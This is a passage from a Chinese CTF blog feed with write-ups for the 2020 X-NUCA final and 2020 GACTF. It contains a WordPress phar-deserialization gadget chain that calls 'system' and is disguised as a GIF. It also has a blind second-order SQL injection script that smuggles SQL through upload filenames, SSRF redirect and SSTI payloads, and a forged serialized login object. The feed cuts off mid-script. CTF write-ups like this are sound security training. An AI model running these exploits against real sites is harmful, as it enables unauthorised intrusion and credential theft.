class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">// replace globals from our internal store</span></span><br><span class="line">    $restore = <span class="keyword">array</span>();</span><br><span class="line">    <span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;_preserve <span class="keyword">as</span> $name =&gt; $class) &#123;</span><br><span class="line">        <span class="keyword">if</span> (</span><br><span class="line">            !<span class="keyword">isset</span>($GLOBALS[$name]) ||</span><br><span class="line">            !($GLOBALS[$name] <span class="keyword">instanceof</span> $class)</span><br><span class="line">        ) &#123;</span><br><span class="line">            $restore[$name] = <span class="literal">NULL</span>;</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">isset</span>($GLOBALS[$name])) &#123;</span><br><span class="line">                $restore[$name] = $GLOBALS[$name];</span><br><span class="line">            &#125;</span><br><span class="line">            $GLOBALS[$name] = <span class="keyword">$this</span>-&gt;_restorables[$name];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>构造：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Requests_Utility_FilteredIterator</span> <span class="keyword">extends</span> <span class="title">ArrayIterator</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $callback;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$data, $callback</span>) </span>&#123;</span><br><span class="line">        <span class="built_in">parent</span>::__construct($data);</span><br><span class="line">        <span class="keyword">$this</span>-&gt;callback = $callback;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Ai1ec_Shutdown_Controller</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $_callbacks;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;_callbacks = <span class="keyword">new</span> Requests_Utility_FilteredIterator(<span class="keyword">array</span>(<span class="string">&#x27;id&#x27;</span>), <span class="string">&#x27;system&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">@unlink(<span class="string">&quot;phar.phar&quot;</span>);</span><br><span class="line">$phar = <span class="keyword">new</span> Phar(<span class="string">&quot;phar.phar&quot;</span>);</span><br><span class="line">$phar-&gt;startBuffering();</span><br><span class="line">$phar-&gt;setStub(<span class="string">&quot;GIF89a&quot;</span>.<span class="string">&quot;&lt;?xxx __HALT_COMPILER(); ?&gt;&quot;</span>); <span class="comment">//设置stub, 增加gif文件头，伪造文件类型</span></span><br><span class="line"><span class="comment">//$o = new WC_Log_Handler_File();</span></span><br><span class="line">$o = <span class="keyword">new</span> Ai1ec_Shutdown_Controller();</span><br><span class="line">$phar-&gt;setMetadata($o); <span class="comment">//将自定义meta-data存入manifest</span></span><br><span class="line">$phar-&gt;addFromString(<span class="string">&quot;test.txt&quot;</span>, <span class="string">&quot;test&quot;</span>); <span class="comment">//添加要压缩的文件</span></span><br><span class="line"><span class="comment">//签名自动计算</span></span><br><span class="line">$phar-&gt;stopBuffering();</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>现在需要找到触发点，文章中的 rpc 没有了，需要再找。</p><p>继续沿着<code>wp_get_attachment_thumb_file</code>向前寻找调用，发现<code>wp-includes/media.php</code> 的<code>image_downsize</code>方法：</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209085624477.png" alt="image-20201209085624477"></p><p>寻找调用，<code>wp-include/media.php</code>：</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209085643919.png" alt="image-20201209085643919"></p><p>这里队友直接在几个调用处都下断点，然后在 media 处随便点击，看哪里可以断。最后发现新建一篇文章，并添加 media，可以触发到 image_downsize 函数。调用栈如下：</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209085849053.png" alt="image-20201209085849053"></p><p>后面<code>$file</code>与 <code>$imagedata[&#39;thumb&#39;]</code>参考原来那篇文章，实际利用起来其实挺麻烦的。</p><p>首先注册个账户，在 /wp-admin 下，传一个 media（ phar 构造出的）。</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209090350107.png" alt="image-20201209090350107"></p><p>保存在了 <code>wp-content/uploads/2020/12/phar.gif</code>。</p><p>然后我们需要控制这个 media 的<code>$file</code>与 <code>$imagedata[&#39;thumb&#39;]</code>，参考文章的打法。打开编辑这个 media 的页面，我的网址是 <code>http://192.168.43.44/wp-admin/post.php?post=68&amp;action=edit</code>。可以看到 post_id 是 68 。然后获取 wp_nonce，发包。</p><p>控制<code>$file</code>：（需要修改_wpnonce与post_ID）</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209090459620.png" alt="image-20201209090459620"></p><p>控制 <code>$imagedata[&#39;thumb&#39;]</code>：（需要修改 _wpnonce，post_ID 与 thumb）</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209090542718.png" alt="image-20201209090542718"></p><p>然后触发反序列化，新建一篇文章，添加 media：</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209090549933.png" alt="image-20201209090549933"></p><p>点击insert，抓包。修改 <code>attachment[image-size]=thumbnail</code>，这样才能进到<code>wp_get_attachment_thumb_file</code>中。</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209090559959.png" alt="image-20201209090559959"></p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209090603399.png" alt="image-20201209090603399"></p><p>另一条触发链，当时做题时也看到了，后面没去调那个，应该也是可以的。</p><p>也是寻找调用 image_downsize，在 <code>wp-admin/includes/media.php</code>的<code>image_size_input_fields</code>函数：</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209091547264.png" alt="image-20201209091547264"></p><p>继续向前找调用，依次是<code>wp-admin/includes/media.php</code>中的 <code>get_attachment_fields_to_edit</code>函数、<code>get_media_item</code>函数，最后<code>wp-admin/async-upload.php</code>中调用了 <code>get_media_item</code>函数。</p><p>所以触发链是 <code>get_media_item</code>  -&gt; <code>get_attachment_fields_to_edit</code> -&gt; <code>image_size_input_fields</code> -&gt; <code>image_downsize</code> -&gt;  <code>wp_get_attachment_thumb_file</code>。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;往年听说 X-NUCA 决赛有渗透，想着来补补渗透，结果今年没有了… 只有一道 Web，类似解题，提交 flag 每轮自动得分，没有防御概念。&lt;/p&gt;
&lt;p&gt;题目基于 Wordpress 5.5.3 最新版本进行了一些改动，并添加了几个插件。拿到源码先 diff 一下，发现 wordpress 部分有几处小的改动，其中增加了对文件上传的一个过滤：&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
    <category term="Wordpress" scheme="https://igml.top/tags/Wordpress/"/>
    
  </entry>
  
  <entry>
    <title>2020 GACTF writeup</title>
    <link href="https://igml.top/2020/08/31/2020-GACTF/"/>
    <id>https://igml.top/2020/08/31/2020-GACTF/</id>
    <published>2020-08-31T06:22:46.000Z</published>
    <updated>2020-09-01T01:47:15.373Z</updated>
    
    <content type="html"><![CDATA[<p>Web 与 Crypto 大部分题目难度不大，整理下题解。</p><a id="more"></a><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="XWiki"><a href="#XWiki" class="headerlink" title="XWiki"></a>XWiki</h3><p>CVE 2020-11057，参考<a href="https://jira.xwiki.org/browse/XWIKI-16960">https://jira.xwiki.org/browse/XWIKI-16960</a>，可以直接执行Python代码。发现根目录下 /readflag，要回答两个数哪个大，输入0或者1。拖下来逆向，写个脚本自动交互（题目环境里拉的233）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> subprocess <span class="keyword">import</span> Popen, PIPE</span><br><span class="line">p = Popen(<span class="string">&#x27;./readflag&#x27;</span>, stdin=PIPE, stdout=PIPE)</span><br><span class="line">t = p.stdout.readline().strip()</span><br><span class="line">t = p.stdout.readline().strip()</span><br><span class="line">t = p.stdout.readline().strip().decode()</span><br><span class="line">f = <span class="string">&#x27;&#x27;</span></span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">464</span>):</span><br><span class="line">data = t.split(<span class="string">&#x27; &#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">int</span>(data[<span class="number">5</span>]) &gt; <span class="built_in">int</span>(data[<span class="number">7</span>])):</span><br><span class="line">p.stdin.write(<span class="string">b&quot;0\n&quot;</span>)</span><br><span class="line">flag+=<span class="string">&quot;0&quot;</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p.stdin.write(<span class="string">b&quot;1\n&quot;</span>)</span><br><span class="line">flag+=<span class="string">&quot;1&quot;</span></span><br><span class="line"></span><br><span class="line">t = p.stdout.readline().decode()</span><br><span class="line">print(t)</span><br><span class="line">f += t</span><br><span class="line">print(flag)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>把 01 流转成flag：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line">flag = <span class="string">&quot;01100111011000010110001101110100011001100111101101011000010101110110100101101011011010010101111101000011010101100100010101011111011101110110100101110100011010000110111101110101011101000101111101110000011001010111001001101101011010010111001101110011011010010110111101101110010111110111001101100011011100100110100101110000011101000110100101101110011001110101111101100101011110000110010101100011011101010111010001101001011011110110111000100001001000010010000101111101&quot;</span></span><br><span class="line"><span class="built_in">print</span> long_to_bytes(<span class="built_in">int</span>(flag,<span class="number">2</span>))</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="simpleflask"><a href="#simpleflask" class="headerlink" title="simpleflask"></a>simpleflask</h3><p><img src="/2020/08/31/2020-GACTF/image-20200831143516520.png" alt="image-20200831143516520"></p><h3 id="EZFLASK"><a href="#EZFLASK" class="headerlink" title="EZFLASK"></a>EZFLASK</h3><p><code>ctf.__globals__</code>，可以发现admin的路由，看起来是个ssrf，但是ban掉了 127.0.0.1。</p><p><img src="/2020/08/31/2020-GACTF/image-20200831143707256.png" alt="image-20200831143707256"></p><p>5000端口，应该是要ssrf本地的5000端口服务。</p><p>前面可以发现是 requests，尝试 302 跳转。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">header(<span class="string">&#x27;Location: http://127.0.0.1:5000/&#x27;</span>);</span><br></pre></td></tr></table></figure><p>发现有ssti，直接构造：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">header(<span class="string">&#x27;Location: http://127.0.0.1:5000/&#123;&#123;config&#125;&#125;&#x27;</span>);</span><br></pre></td></tr></table></figure><p><img src="/2020/08/31/2020-GACTF/image-20200831143901156.png" alt="image-20200831143901156"></p><h3 id="carefuleyes"><a href="#carefuleyes" class="headerlink" title="carefuleyes"></a>carefuleyes</h3><p><a href="http://www.zip">www.zip</a> 源码审计。</p><p>我们目标是调用XCTFGG的login方法，成功登陆admin：</p><p><img src="/2020/08/31/2020-GACTF/image-20200831144039840.png" alt="image-20200831144039840"></p><p>有个反序列化可以完成login方法调用，现在问题是如何获取权限是admin的用户名和密码。</p><p>可以看到 sql 文件：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">DATABASE</span> <span class="keyword">IF</span> <span class="keyword">EXISTS</span> <span class="string">`un`</span>;</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">DATABASE</span> un;</span><br><span class="line"><span class="keyword">USE</span> un;</span><br><span class="line"></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> <span class="keyword">IF</span> <span class="keyword">EXISTS</span> <span class="string">`file`</span>;</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> <span class="string">`file`</span> (</span><br><span class="line">  <span class="string">`fid`</span> <span class="built_in">int</span>(<span class="number">10</span>) <span class="keyword">unsigned</span> <span class="keyword">NOT</span> <span class="literal">NULL</span> AUTO_INCREMENT,</span><br><span class="line">  <span class="string">`filename`</span> <span class="built_in">varchar</span>(<span class="number">256</span>) <span class="keyword">NOT</span> <span class="literal">NULL</span>,</span><br><span class="line">  <span class="string">`oldname`</span> <span class="built_in">varchar</span>(<span class="number">256</span>) <span class="keyword">DEFAULT</span> <span class="literal">NULL</span>,</span><br><span class="line">  <span class="string">`view`</span> <span class="built_in">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="literal">NULL</span>,</span><br><span class="line">  <span class="string">`extension`</span> <span class="built_in">varchar</span>(<span class="number">32</span>) <span class="keyword">DEFAULT</span> <span class="literal">NULL</span>,</span><br><span class="line">  PRIMARY <span class="keyword">KEY</span> (<span class="string">`fid`</span>)</span><br><span class="line">) <span class="keyword">ENGINE</span>=<span class="keyword">InnoDB</span> AUTO_INCREMENT=<span class="number">11</span> <span class="keyword">DEFAULT</span> <span class="keyword">CHARSET</span>=utf8;</span><br><span class="line"></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> <span class="keyword">IF</span> <span class="keyword">EXISTS</span> <span class="string">`user`</span>;</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> <span class="string">`user`</span> (</span><br><span class="line">  <span class="string">`username`</span> <span class="built_in">varchar</span>(<span class="number">12</span>) <span class="keyword">NOT</span> <span class="literal">NULL</span>,</span><br><span class="line">  <span class="string">`password`</span> <span class="built_in">varchar</span>(<span class="number">20</span>) <span class="keyword">NOT</span> <span class="literal">NULL</span>,</span><br><span class="line">  <span class="string">`privilege`</span> <span class="built_in">varchar</span>(<span class="number">8</span>) <span class="keyword">DEFAULT</span> <span class="literal">NULL</span>,</span><br><span class="line">  PRIMARY <span class="keyword">KEY</span> (<span class="string">`username`</span>)</span><br><span class="line">) <span class="keyword">ENGINE</span>=<span class="keyword">InnoDB</span> AUTO_INCREMENT=<span class="number">11</span> <span class="keyword">DEFAULT</span> <span class="keyword">CHARSET</span>=utf8;</span><br><span class="line"></span><br><span class="line"><span class="comment"># INSERT INTO user VALUES (&#x27;XM&#x27;, $db_pass, &#x27;admin&#x27;)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SET</span> FOREIGN_KEY_CHECKS = <span class="number">1</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>插入了一个username为XM的用户，密码未知，我们需要注入出密码。</p><p>审计一下发现几乎所有直接入库的操作前都有转义操作，尝试寻找二次注入，在rename.php中：</p><p><img src="/2020/08/31/2020-GACTF/image-20200831144324731.png" alt="image-20200831144324731"></p><p>查询出来的结果直接拼接到了查询语句中，存在二次注入。</p><p>写个盲注脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span>():</span></span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line">    session = requests.Session()</span><br><span class="line">    <span class="built_in">list</span> = <span class="built_in">map</span>(<span class="built_in">ord</span>,string.printable)</span><br><span class="line">    payload = <span class="string">&#x27;(select ascii(substr(password,&#123;mid&#125;,1)) from user)=&#123;value&#125;&#x27;</span></span><br><span class="line">    filename = <span class="string">&quot;gml&#x27;and &#123;sql&#125;#&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">20</span>):</span><br><span class="line">        flag = <span class="literal">False</span></span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">list</span>:</span><br><span class="line">            sql = payload.<span class="built_in">format</span>(mid=i,value=j)</span><br><span class="line">            name = filename.<span class="built_in">format</span>(sql=sql)</span><br><span class="line">            <span class="comment"># print name</span></span><br><span class="line">            paramsMultipart = [(<span class="string">&#x27;upfile&#x27;</span>, (<span class="string">&quot;%s.txt&quot;</span>%name, <span class="string">&quot;gml\n&quot;</span>, <span class="string">&#x27;application/octet-stream&#x27;</span>))]</span><br><span class="line">            headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://124.71.191.175&quot;</span>, <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;max-age=0&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://124.71.191.175/&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>&#125;</span><br><span class="line">            session.post(<span class="string">&quot;http://124.71.191.175/upload.php&quot;</span>, files=paramsMultipart, headers=headers)</span><br><span class="line"></span><br><span class="line">            paramsPost = &#123;<span class="string">&quot;newname&quot;</span>: <span class="string">&quot;111&quot;</span>, <span class="string">&quot;oldname&quot;</span>: <span class="string">&quot;%s&quot;</span>%name&#125;</span><br><span class="line">            headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://124.71.191.175&quot;</span>, <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;no-cache&quot;</span>,</span><br><span class="line">                   <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">                   <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">                   <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36&quot;</span>,</span><br><span class="line">                   <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://124.71.191.175/rename.php&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>, <span class="string">&quot;Pragma&quot;</span>: <span class="string">&quot;no-cache&quot;</span>,</span><br><span class="line">                   <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>, <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">            response = requests.post(<span class="string">&quot;http://124.71.191.175/rename.php&quot;</span>, data=paramsPost, headers=headers)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;gml&quot;</span> <span class="keyword">in</span> response.content:</span><br><span class="line">                data += <span class="built_in">chr</span>(j)</span><br><span class="line">                flag = <span class="literal">True</span></span><br><span class="line">                <span class="built_in">print</span> data</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> flag:</span><br><span class="line">            exit(<span class="string">&quot;No!&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    exp()</span><br><span class="line">    <span class="comment"># password:qweqweqwe</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>注出密码是 qweqweqwe。直接构造序列化数据：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">XCTFGG</span></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> $method;</span><br><span class="line">    <span class="keyword">private</span> $args;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$method, $args</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;method = $method;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;args = $args;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">$a = <span class="keyword">new</span> XCTFGG(<span class="string">&#x27;login&#x27;</span>,<span class="keyword">array</span>(<span class="string">&#x27;XM&#x27;</span>,<span class="string">&#x27;qweqweqwe&#x27;</span>));</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize($a));</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2020/08/31/2020-GACTF/image-20200830195855714.png" alt="image-20200830195855714"></p><h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="square"><a href="#square" class="headerlink" title="square"></a>square</h3><p>参考：<a href="https://math.stackexchange.com/questions/528669/what-is-the-smallest-integer-n-greater-than-1-such-that-the-root-mean-square">https://math.stackexchange.com/questions/528669/what-is-the-smallest-integer-n-greater-than-1-such-that-the-root-mean-square</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">r = remote(<span class="string">&#x27;124.71.158.89&#x27;</span>, <span class="number">8888</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">proof</span>():</span></span><br><span class="line">    r.recvuntil(<span class="string">&quot;str + &quot;</span>)</span><br><span class="line">    data = r.recv(<span class="number">4</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&quot;== &quot;</span>)</span><br><span class="line">    <span class="built_in">hash</span> = r.recv(<span class="number">5</span>)</span><br><span class="line">    ans = util.iters.bruteforce(<span class="keyword">lambda</span> x: md5(x + data).hexdigest()[:<span class="number">5</span>] == <span class="built_in">hash</span>, string.ascii_letters + string.digits,</span><br><span class="line">                                length=<span class="number">4</span>, )</span><br><span class="line">    r.sendlineafter(<span class="string">&quot;xxxxx:&quot;</span>, ans)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">proof()</span><br><span class="line"></span><br><span class="line">a = <span class="number">48</span></span><br><span class="line">s0, t0 = <span class="number">7</span>, <span class="number">1</span></span><br><span class="line">s1, t1 = s0, t0</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">    s = s1 * s0 + a * t1 * t0</span><br><span class="line">    t = t1 * s0 + t0 * s1</span><br><span class="line">    s1 = s</span><br><span class="line">    t1 = t</span><br><span class="line">    <span class="keyword">if</span> (s - <span class="number">3</span>) % <span class="number">4</span> == <span class="number">0</span>:</span><br><span class="line">        y = (s - <span class="number">3</span>) / <span class="number">4</span></span><br><span class="line">        x, flag = gmpy2.iroot(((y + <span class="number">1</span>) * (<span class="number">2</span> * y + <span class="number">1</span>)) / <span class="number">6</span>, <span class="number">2</span>)</span><br><span class="line">        <span class="keyword">assert</span> flag == <span class="literal">True</span></span><br><span class="line">        r.sendlineafter(<span class="string">&quot;[&gt;] x: &quot;</span>, <span class="built_in">str</span>(x))</span><br><span class="line">        r.sendlineafter(<span class="string">&quot;[&gt;] y: &quot;</span>, <span class="built_in">str</span>(y))</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="babycrypto"><a href="#babycrypto" class="headerlink" title="babycrypto"></a>babycrypto</h3><p>参考<a href="https://keltecc.github.io/ctf/writeup/2020/05/24/m0lecon-ctf-2020-teaser-king-exchange.html">https://keltecc.github.io/ctf/writeup/2020/05/24/m0lecon-ctf-2020-teaser-king-exchange.html</a>，基本原题。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span 